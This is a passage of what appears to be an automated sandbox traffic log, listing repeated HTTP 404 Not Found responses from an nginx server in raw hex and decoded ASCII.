65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:31 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:34 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:36 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:39 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:42 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:06 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 